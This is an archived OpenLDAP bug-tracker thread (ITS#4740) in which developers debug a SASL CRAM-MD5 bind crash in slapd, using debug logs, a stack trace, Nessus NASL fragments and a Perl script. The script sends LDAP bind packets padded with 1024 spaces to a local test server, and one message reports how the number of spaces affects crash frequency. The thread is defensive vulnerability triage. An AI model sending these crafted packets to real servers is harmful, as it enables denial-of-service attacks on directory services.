Here's another, although without a malloc debugger: current thread: t@11 [1] t_delete(0x9e4fa18, 0x80, 0xd7d0bc0, 0xfec3c000, 0x0, 0xedbff3f1), at 0xfebc783c [2] _malloc_unlocked(0x80, 0x0, 0xedbff3e8, 0xfec3c000, 0x4, 0x5), at 0xfebc6ecc [3] malloc(0x80, 0xff000000, 0x0, 0x0, 0x0, 0x0), at 0xfebc6d00 =>[4] default_malloc_ex(num = 128U, file = 0xfefe30b0 "bn_rand.c", line = 134), line 79 in "mem.c" [5] CRYPTO_malloc(num = 128, file = 0xfefe30b0 "bn_rand.c", line = 134), line 304 in "mem.c" [6] bnrand(pseudorand = 0, rnd = 0xa6b753c, bits = 1024, top = -1, bottom = 0), line 134 in "bn_rand.c" [7] BN_rand(rnd = 0xa6b753c, bits = 1024, top = -1, bottom = 0), line 212 in "bn_rand.c" [8] bn_rand_range(pseudo = 0, r = 0xa6b753c, range = 0x368558), line 274 in "bn_rand.c" [9] BN_rand_range(r = 0xa6b753c, range = 0x368558), line 285 in "bn_rand.c" [10] setup_blinding(rsa = 0x368298, ctx = 0xa6b7538), line 308 in "rsa_eay.c" [11] RSA_eay_private_decrypt(flen = 128, from = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", to = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", rsa = 0x368298, padding = 1), line 536 in "rsa_eay.c" [12] RSA_private_decrypt(flen = 128, from = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", to = 0x10edc0e6 "j\xb46\x8bb^Y\x8d\xcc\x86\xb2\xb2\x9c\n&\xdaYu^R^T\xc9Z\xca!\x9c\xaa\xd9i\x8d7\xf9x\xa1\xb0;\xa0 T", rsa = 0x368298, padding = 1), line 292 in "rsa_lib.c" [13] ssl3_get_client_key_exchange(s = 0xd25c868), line 1454 in "s3_srvr.c" [14] ssl3_accept(s = 0xd25c868), line 448 in "s3_srvr.c" [15] SSL_accept(s = 0xd25c868), line 816 in "ssl_lib.c" [16] ldap_pvt_tls_accept(sb = 0xcc316f8, ctx_arg = 0x31f4e8), line 863 in "tls.c" [17] connection_read(s = 63), line 1337 in "connection.c" [18] slapd_daemon_task(ptr = (nil)), line 2352 in "daemon.c" What would be good ways to go about figuring out if this is an issue with the SSL library or slapd's usage thereof?

1 0

Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_3513_4952625.1164743928641 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sorry folks, it does look like a libdb mismatch. A little bit of poking around found conflicting versions on the system and slapd opening both, and setting up another testbed with 2.3.30 finds the server immune to the NASL test. Sorry to bother you guys, and thanks for the help. Brian ------=_Part_3513_4952625.1164743928641 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Sorry folks, it does look like a libdb mismatch. A little bit of poking around found conflicting versions on the system and slapd opening both, and setting up another testbed with 2.3.30 finds the server immune to the NASL test. Sorry to bother you guys, and thanks for the help. Brian ------=_Part_3513_4952625.1164743928641--

1 0

Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_3380_11468608.1164742144339 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline So after playing with this a bit more, I think there may be 'something else' going on, although what that something else is I'm not entirely sure. This may be another facet of the bug, a new bug entirely, or nothing to do with OpenLDAP code. Specifically, I played around with what the NASL script was sending to the server. I tried sending different space counts, followed by padding of some other character ('A'), to see what it would do. I'm afraid the results aren't as conclusive as I'd hoped. 1) If I send a SINGLE SPACE to start the data portion, like so: mkbyte(4) + mkbyte(8) + "CRAM-MD5" + mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1) + crap(data:"A", length:1023); the server NEVER crashes, no matter how many times I try it. 2) If I send more than a single space, even just 2 (followed by 1022 A's, for example), the server will USUALLY, but NOT ALWAYS crash. (Approx 80% of the time it chokes) 3) If I send more than 64 spaces, the server ALWAYS crashes. I do not know if 64 is a magic number; I originally started out trying to send only 254 spaces + padding, which reliably caused crashes, and kept ratching down the number until I suddenly stopped getting crashes reliably at 64 spaces. I started to send a eureka email of sorts, but a couple more tests yielded crashes at 64, and now it's crashing relatively reliably (90% of the time, I'd say) from spaces=2 on up. Finally, and I'm not sure how significant this is, every time it crashes the [len=XXX] portion of the slapd_sasl_getdn debug line is ONE CHARACTER LESS than the number of spaces I send. So, for example, if I send 2 spaces followed by 1022 A's, then I see: slap_sasl_getdn: conn 10 id= [len=1] If I send 64 spaces followed by 960 A's, then len=63, and so on. If the server does not crash, getdn is never called, with SASL complaining "Failure: need authentication name". I'm not sure if this helps or just muddies the issue further. ------=_Part_3380_11468608.1164742144339 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline So after playing with this a bit more, I think there may be 'something else' going on, although what that something else is I'm not entirely sure. This may be another facet of the bug, a new bug entirely, or nothing to do with OpenLDAP code. Specifically, I played around with what the NASL script was sending to the server. I tried sending different space counts, followed by padding of some other character ('A'), to see what it would do. I'm afraid the results aren't as conclusive as I'd hoped. 1) If I send a SINGLE SPACE to start the data portion, like so:       mkbyte(4) + mkbyte(8) + "CRAM-MD5" +       mkbyte(4) + mkbyte(0x82) + mkword(0x0400) +       crap(data:" ", length:1) +       crap(data:"A", length:1023); the server NEVER crashes, no matter how many times I try it. 2) If I send more than a single space, even just 2 (followed by 1022 A's, for example), the server will USUALLY, but NOT ALWAYS crash. (Approx 80% of the time it chokes) 3) If I send more than 64 spaces, the server ALWAYS crashes. I do not know if 64 is a magic number; I originally started out trying to send only 254 spaces + padding, which reliably caused crashes, and kept ratching down the number until I suddenly stopped getting crashes reliably at 64 spaces. I started to send a eureka email of sorts, but a couple more tests yielded crashes at 64, and now it's crashing relatively reliably (90% of the time, I'd say) from spaces=2 on up. Finally, and I'm not sure how significant this is, every time it crashes the [len=XXX] portion of the slapd_sasl_getdn debug line is ONE CHARACTER LESS than the number of spaces I send. So, for example, if I send 2 spaces followed by 1022 A's, then I see: slap_sasl_getdn: conn 10 id=  [len=1]  If I send 64 spaces followed by 960 A's, then len=63, and so on. If the server does not crash, getdn is never called, with SASL complaining  "Failure: need authentication name". I'm not sure if this helps or just muddies the issue further. ------=_Part_3380_11468608.1164742144339--

1 0

Re: (ITS#4740) SASL bind assert
by bthomas＠google.com 28 Nov '06

28 Nov '06

------=_Part_2868_7949219.1164737844232 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Entirely possible (conflicting libdb versions). However, this crash is 100% reproduceable on my system using the Nessus test specifically for the bug at issue here. Nessus script ID is 20939, entitled "OpenLDAP SASL Bind Denial of Service Vulnerability". I actually was going to try to reproduce the problem with a perl script but it seemed more time than it was worth since I had a reliable failure case with the NASL script. I've searched to see if there appears to be a libdb conflict of some sort, and can't find anything, but that may just mean I haven't looked hard enough! I spent some more time poring of the code last night, and nothing jumped out at me. However, as a further data point, I played with the NASL script some to send different data, and I can ONLY get the server to crash if I send spaces. Specifically, the relevant (and hopefully self-documenting) line of NASL script is as follows: mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1024); If 'data:" "' is changed to be 'data:"A"', for example, the server does not crash, and the message in the debug output is what I expect (snipped for brevity). Last line of hex dump follows: 0400: 41 41 41 41 AAAA ber_scanf fmt (}}) ber: ber_dump: buf=0x09ec9330 ptr=0x09ec974f end=0x09ec974f len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL [conn=3] Failure: need authentication name send_ldap_result: conn=3 op=1 p=3 send_ldap_result: err=80 matched="" text="SASL(-5): bad protocol / cancel: need authentication name" send_ldap_response: msgid=509 tag=97 err=80 ber_flush: 72 bytes to sd 13 Does this help? Brian On 11/27/06, Howard Chu <hyc(a)symas.com> wrote: > > Kurt D. Zeilenga wrote: > > At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: > >> Kurt(a)OpenLDAP.org wrote: > >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: > >>>> Spoke too soon. > >>>> You code appears to be sending the same requests as > >>>> Nessus, at least as described here: > >>>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 > >>>> > >>>> Suspect a mismatch between what you and Brian are > >>>> testing... > >>> Howard, is the normalized authcDN in your testing correct? > >> It has a single escaped space. > > > > And that's correct (I was wrong before). A directory string of > > N spaces normalizes to a single space, which must be escaped in > > the DN. > > > > So it does seem like you and Brian are simply not running the > > same code. > > The only difference between my current RE23 tree and 2.3.30 is in > syncprov.c which is obviously not involved here. I would guess Brian's > issue may be libsasl2 related, and no longer something resident in the > OpenLDAP code. (E.g., conflicting libdb versions.) > > -- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/ > ------=_Part_2868_7949219.1164737844232 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline Entirely possible (conflicting libdb versions). However, this crash is 100% reproduceable on my system using the Nessus test specifically for the bug at issue here. Nessus script ID is 20939, entitled "OpenLDAP SASL Bind Denial of Service Vulnerability". I actually was going to try to reproduce the problem with a perl script but it seemed more time than it was worth since I had a reliable failure case with the NASL script. I've searched to see if there appears to be a libdb conflict of some sort, and can't find anything, but that may just mean I haven't looked hard enough! I spent some more time poring of the code last night, and nothing jumped out at me. However, as a further data point, I played with the NASL script some to send different data, and I can ONLY get the server to crash if I send spaces. Specifically, the relevant (and hopefully self-documenting) line of NASL script is as follows: mkbyte(4) + mkbyte(0x82) + mkword(0x0400) + crap(data:" ", length:1024); If 'data:" "' is changed to be 'data:"A"', for example, the server does not crash, and the message in the debug output is what I expect (snipped for brevity). Last line of hex dump follows:   0400:  41 41 41 41                                        AAAA ber_scanf fmt (}}) ber: ber_dump: buf=0x09ec9330 ptr=0x09ec974f end=0x09ec974f len=0 >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=1024 SASL [conn=3] Failure: need authentication name send_ldap_result: conn=3 op=1 p=3 send_ldap_result: err=80 matched="" text="SASL(-5): bad protocol / cancel: need authentication name" send_ldap_response: msgid=509 tag=97 err=80 ber_flush: 72 bytes to sd 13 Does this help? Brian <div>On 11/27/06, Howard Chu <<a href="mailto:hyc@symas.com">hyc(a)symas.com</a>> wrote:<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"> Kurt D. Zeilenga wrote: > At 08:06 PM 11/27/2006, <a href="mailto:hyc@symas.com">hyc(a)symas.com</a> wrote: >> <a href="mailto:Kurt@OpenLDAP.org">Kurt(a)OpenLDAP.org</a> wrote: >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>>> Spoke too soon. >>>> You code appears to be sending the same requests as >>>> Nessus, at least as described here: >>>>  <a href="http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625"> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625</a> >>>> >>>> Suspect a mismatch between what you and Brian are >>>> testing... >>> Howard, is the normalized authcDN in your testing correct? >> It has a single escaped space. > > And that's correct (I was wrong before).  A directory string of > N spaces normalizes to a single space, which must be escaped in > the DN. > > So it does seem like you and Brian are simply not running the > same code. The only difference between my current RE23 tree and 2.3.30 is in syncprov.c which is obviously not involved here. I would guess Brian's issue may be libsasl2 related, and no longer something resident in the OpenLDAP code. (E.g., conflicting libdb versions.) --    -- Howard Chu    Chief Architect, Symas Corp.  <a href="http://www.symas.com"> http://www.symas.com</a>    Director, Highland Sun        <a href="http://highlandsun.com/hyc">http://highlandsun.com/hyc</a>    OpenLDAP Core Team            <a href="http://www.openldap.org/project/">http://www.openldap.org/project/ </a> </blockquote></div> ------=_Part_2868_7949219.1164737844232--

1 0

Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 27 Nov '06

27 Nov '06

Kurt D. Zeilenga wrote: > At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: >> Kurt(a)OpenLDAP.org wrote: >>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>>> Spoke too soon. >>>> You code appears to be sending the same requests as >>>> Nessus, at least as described here: >>>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >>>> >>>> Suspect a mismatch between what you and Brian are >>>> testing... >>> Howard, is the normalized authcDN in your testing correct? >> It has a single escaped space. > > And that's correct (I was wrong before). A directory string of > N spaces normalizes to a single space, which must be escaped in > the DN. > > So it does seem like you and Brian are simply not running the > same code. The only difference between my current RE23 tree and 2.3.30 is in syncprov.c which is obviously not involved here. I would guess Brian's issue may be libsasl2 related, and no longer something resident in the OpenLDAP code. (E.g., conflicting libdb versions.) -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 27 Nov '06

27 Nov '06

At 08:06 PM 11/27/2006, hyc(a)symas.com wrote: >Kurt(a)OpenLDAP.org wrote: >> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >>> Spoke too soon. >>> You code appears to be sending the same requests as >>> Nessus, at least as described here: >>> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >>> >>> Suspect a mismatch between what you and Brian are >>> testing... >> >> Howard, is the normalized authcDN in your testing correct? > >It has a single escaped space. And that's correct (I was wrong before). A directory string of N spaces normalizes to a single space, which must be escaped in the DN. So it does seem like you and Brian are simply not running the same code. -- Kurt >Here's the log with 256 characters >instead of 1024: > > >>> slap_listener(ldap://:9011)connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=8 > 0000: 30 17 02 02 04 e7 60 11 0.....`. >ldap_read: want=17, got=17 > 0000: 02 01 03 04 00 a3 0a 04 08 43 52 41 4d 2d 4d 44 >.........CRAM-MD > 0010: 35 5 >ber_get_next: tag 0x30 len 23 contents: >ber_get_next >ldap_read: want=8 error=Resource temporarily unavailable >ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) >do_bind >ber_scanf fmt ({imt) ber: >ber_scanf fmt ({m) ber: >ber_scanf fmt (}}) ber: > >>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 >==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0 >send_ldap_sasl: err=14 len=38 >send_ldap_response: msgid=1255 tag=97 err=14 >ber_flush: 55 bytes to sd 12 > 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 >05....a/........ > 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 >&<942849719.7058 > 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d >659(a)mandolin.sym > 0030: 61 73 2e 63 6f 6d 3e as.com> >ldap_write: want=55, written=55 > 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 >05....a/........ > 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 >&<942849719.7058 > 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d >659(a)mandolin.sym > 0030: 61 73 2e 63 6f 6d 3e as.com> ><== slap_sasl_bind: rc=14 >connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=8 > 0000: 30 82 01 1f 02 02 04 e6 0....... >ldap_read: want=283, got=283 > 0000: 60 82 01 17 02 01 03 04 00 a3 82 01 0e 04 08 43 >`..............C > 0010: 52 41 4d 2d 4d 44 35 04 82 01 00 20 20 20 20 20 RAM-MD5.... > 0020: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0030: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0050: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0070: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0080: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00b0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 00f0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0100: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 > 0110: 20 20 20 20 20 20 20 20 20 20 20 >ber_get_next: tag 0x30 len 287 contents: >ber_get_next >ldap_read: want=8 error=Resource temporarily unavailable >ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) >connection_get(12) >connection_get(12): got connid=2 >connection_read(12): checking for input on id=2 >ber_get_next >ldap_read: want=8, got=0 > >ber_get_next on fd 12 failed errno=0 (Success) >connection_closing: readying conn=2 sd=12 for close >connection_close: deferring conn=2 sd=12 >do_bind >ber_scanf fmt ({imt) ber: >ber_scanf fmt ({m) ber: >ber_scanf fmt (m) ber: >ber_scanf fmt (}}) ber: > >>> dnPrettyNormal: <> ><<< dnPrettyNormal: <>, <> >do_sasl_bind: dn () mech CRAM-MD5 >==> sasl_bind: dn="" mech=<continuing> datalen=256 >SASL Canonicalize [conn=2]: authcid=" > > > > " >slap_sasl_getdn: conn 2 id= > > > >[len=255] >=> ldap_dn2bv(16) ><= ldap_dn2bv(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth)=0 >slap_sasl_getdn: u:id converted to uid=\20 > > > > \20,cn=CRAM-MD5,cn=auth > >>> dnNormalize: <uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth> >=> ldap_bv2dn(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth,0) ><= ldap_bv2dn(uid=\20 > > > >\20,cn=CRAM-MD5,cn=auth)=0 >=> ldap_dn2bv(272) ><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 ><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth ><==slap_sasl2dn: Converted SASL name to <nothing> >SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >SASL [conn=2] Failure: no secret in database >send_ldap_result: conn=2 op=1 p=3 >send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no >secret in database" >send_ldap_response: msgid=1254 tag=97 err=49 ><== slap_sasl_bind: rc=49 >connection_resched: attempting closing conn=2 sd=12 >connection_close: conn=2 sd=12 > > > >-- > -- Howard Chu > Chief Architect, Symas Corp. http://www.symas.com > Director, Highland Sun http://highlandsun.com/hyc > OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by hyc＠symas.com 27 Nov '06

27 Nov '06

Kurt(a)OpenLDAP.org wrote: > At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >> Spoke too soon. >> You code appears to be sending the same requests as >> Nessus, at least as described here: >> http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 >> >> Suspect a mismatch between what you and Brian are >> testing... > > Howard, is the normalized authcDN in your testing correct? It has a single escaped space. Here's the log with 256 characters instead of 1024: >>> slap_listener(ldap://:9011)connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=8 0000: 30 17 02 02 04 e7 60 11 0.....`. ldap_read: want=17, got=17 0000: 02 01 03 04 00 a3 0a 04 08 43 52 41 4d 2d 4d 44 .........CRAM-MD 0010: 35 5 ber_get_next: tag 0x30 len 23 contents: ber_get_next ldap_read: want=8 error=Resource temporarily unavailable ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) do_bind ber_scanf fmt ({imt) ber: ber_scanf fmt ({m) ber: ber_scanf fmt (}}) ber: >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0 send_ldap_sasl: err=14 len=38 send_ldap_response: msgid=1255 tag=97 err=14 ber_flush: 55 bytes to sd 12 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 05....a/........ 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 &<942849719.7058 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d 659(a)mandolin.sym 0030: 61 73 2e 63 6f 6d 3e as.com> ldap_write: want=55, written=55 0000: 30 35 02 02 04 e7 61 2f 0a 01 0e 04 00 04 00 87 05....a/........ 0010: 26 3c 39 34 32 38 34 39 37 31 39 2e 37 30 35 38 &<942849719.7058 0020: 36 35 39 40 6d 61 6e 64 6f 6c 69 6e 2e 73 79 6d 659(a)mandolin.sym 0030: 61 73 2e 63 6f 6d 3e as.com> <== slap_sasl_bind: rc=14 connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=8 0000: 30 82 01 1f 02 02 04 e6 0....... ldap_read: want=283, got=283 0000: 60 82 01 17 02 01 03 04 00 a3 82 01 0e 04 08 43 `..............C 0010: 52 41 4d 2d 4d 44 35 04 82 01 00 20 20 20 20 20 RAM-MD5.... 0020: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0030: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0040: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0050: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0060: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0070: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0080: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00b0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00d0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 00f0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0100: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0110: 20 20 20 20 20 20 20 20 20 20 20 ber_get_next: tag 0x30 len 287 contents: ber_get_next ldap_read: want=8 error=Resource temporarily unavailable ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable) connection_get(12) connection_get(12): got connid=2 connection_read(12): checking for input on id=2 ber_get_next ldap_read: want=8, got=0 ber_get_next on fd 12 failed errno=0 (Success) connection_closing: readying conn=2 sd=12 for close connection_close: deferring conn=2 sd=12 do_bind ber_scanf fmt ({imt) ber: ber_scanf fmt ({m) ber: ber_scanf fmt (m) ber: ber_scanf fmt (}}) ber: >>> dnPrettyNormal: <> <<< dnPrettyNormal: <>, <> do_sasl_bind: dn () mech CRAM-MD5 ==> sasl_bind: dn="" mech=<continuing> datalen=256 SASL Canonicalize [conn=2]: authcid=" " slap_sasl_getdn: conn 2 id= [len=255] => ldap_dn2bv(16) <= ldap_dn2bv(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 slap_sasl_getdn: u:id converted to uid=\20 \20,cn=CRAM-MD5,cn=auth >>> dnNormalize: <uid=\20 \20,cn=CRAM-MD5,cn=auth> => ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth,0) <= ldap_bv2dn(uid=\20 \20,cn=CRAM-MD5,cn=auth)=0 => ldap_dn2bv(272) <= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 <<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> ==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth <==slap_sasl2dn: Converted SASL name to <nothing> SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" SASL [conn=2] Failure: no secret in database send_ldap_result: conn=2 op=1 p=3 send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no secret in database" send_ldap_response: msgid=1254 tag=97 err=49 <== slap_sasl_bind: rc=49 connection_resched: attempting closing conn=2 sd=12 connection_close: conn=2 sd=12 -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4740) SASL bind assert
by Kurt＠OpenLDAP.org 27 Nov '06

27 Nov '06

At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote: >Spoke too soon. >You code appears to be sending the same requests as >Nessus, at least as described here: > http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625 > >Suspect a mismatch between what you and Brian are >testing... Howard, is the normalized authcDN in your testing correct? >Kurt > >At 07:30 PM 11/27/2006, Kurt(a)OpenLDAP.org wrote: >> From the provided log, looks like it's a SASL/CRAM-MD5 >>authentication with lots of spaces in the authcid. >> >>Logs: >>>>>> dnPrettyNormal: <> >>><<< dnPrettyNormal: <>, <> >>>do_sasl_bind: dn () mech CRAM-MD5 >> >>empty bind DN >> >>>==> sasl_bind: dn="" mech=<continuing> datalen=1024 >>>SASL Canonicalize [conn=21]: >>>authcid=" >>>" >> >>authcid of spaces. >> >>>slap_sasl_getdn: conn 21 >>>id= >>>[len=255] >> >>255 spaces. >> >>>=> ldap_dn2bv(16) >>><= >>>ldap_dn2bv(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth)=0 >>>slap_sasl_getdn: u:id converted to >>>uid=\20 >>>\20,cn=CRAM-MD5,cn=auth >> >>OKAY. >> >>>>>> dnNormalize: >>><uid=\20 >>>\20,cn=CRAM-MD5,cn=auth> >>>=> >>>ldap_bv2dn(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth,0) >>><= >>>ldap_bv2dn(uid=\20 >>>\20,cn=CRAM-MD5,cn=auth)=0 >>>=> ldap_dn2bv(272) >>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0 >> >>BAD! We lost 254 spaces (last of which was escaped). >> >>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth> >>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN >>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth >>><==slap_sasl2dn: Converted SASL name to <nothing> >>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth" >>> >> >>At 07:13 PM 11/27/2006, hyc(a)symas.com wrote: >>>bthomas(a)google.com wrote: >>>> ------=_Part_8120_20176863.1164676496288 >>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed >>>> Content-Transfer-Encoding: 7bit >>>> Content-Disposition: inline >>>> >>>> Hello, >>>> >>>> It would appear from my testing that this bug is not fixed. I have compiled >>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has >>>> the fixes that were introduced in 1.134. However, a nessus scan that >>>> attempts to exploit this bug still succeeds in crashing slapd, with debug >>>> output attached below (I've snipped the actual data passsed in, suffice to >>>> say it's 255 0x20's). >>>> >>>> I'm happy to provide any other information as needed. I've taken a look at >>>> the diffs but haven't been able to find what the problem is. >>> >>>This is the perl script I used to verify the bug here. slapd works fine >>>for me with this. If you can tell us how to reproduce the crash, we can >>>investigate further. >>> >>>use IO::Socket; >>> >>> my $host = "localhost"; >>> my $port = 9011; >>> >>> my $sock = IO::Socket::INET->new( >>> Proto => "tcp", >>> PeerAddr => $host, >>> PeerPort => $port, ) >>> or die "Error creating socket"; >>> >>> print "Sending LDAP BIND request...\n"; >>> >>> my >>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04"; >>> $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35"; >>> print $sock $s; >>> >>> my $buf = ' '; >>> read( $sock, $buf, 24 ); >>> >>> $s = >>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04"; >>> $s .= >>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04"; >>> $s .= "\x82\x04\x00"; >>> $s .= "\x20" x 1024; >>> >>> print "Sending second LDAP BIND 